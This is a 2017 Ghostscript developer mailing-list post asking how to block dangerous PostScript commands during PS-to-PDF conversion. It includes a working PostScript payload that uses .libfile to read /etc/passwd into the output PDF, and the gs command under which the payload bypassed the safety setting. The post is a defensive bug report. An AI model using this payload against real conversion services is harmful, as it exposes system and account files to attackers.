security issues while converting ps file to pdf?

Eero Volotinen <[email protected]> Tue, 28 Feb 2017 13:19:56 +0200
Newsgroups gmane.comp.printing.ghostscript.devel
Message-ID <CACkU_azezUE1=2Xprbt8Q9eto_+ZQa=xUOh05wH8OTxq4Xqypg@mail.gmail.com>
Hi,

Is there way to disable dangerous commands while converting from ps to pdf

for example dangerous.pdf contains following ps code:

%!PS
/Buf 1024 string def % line buffer
/Courier             % name the desired font
8 selectfont         % choose the size in points and establish
/LM 72 def           % Left Margin
/ypos 800 def        % current y position
/lineheight 10 def   % height of a line
/newline {
    ypos lineheight sub
    /ypos exch def
    LM ypos moveto
} def
LM ypos moveto

(/etc/passwd) .libfile {
    {
        dup Buf readline
        {
            show
        }{
            show
            showpage
            quit
        } ifelse
        newline
    } loop
} if

and after conversion with following parameters produced pdf file contains
/etc/passwd
contains:

gs  -dPARANOIDSAFER -dPDFA   -dBATCH -dNOPAUSE
-sProcessColorModel=DeviceCMYK -sDEVICE=pdfwrite
-sPDFACompatibilityPolicy=1 -sOutputFile=out.pdf dangerous.pdf

Thanks.

Tried to figure out configration file gs_init.ps but it's a bit cryptic for
normal person ;)

br,

-- 
Eero Volotinen,
Senior Consultant, CISSP, RHCSA, RHCE, AWS-CSA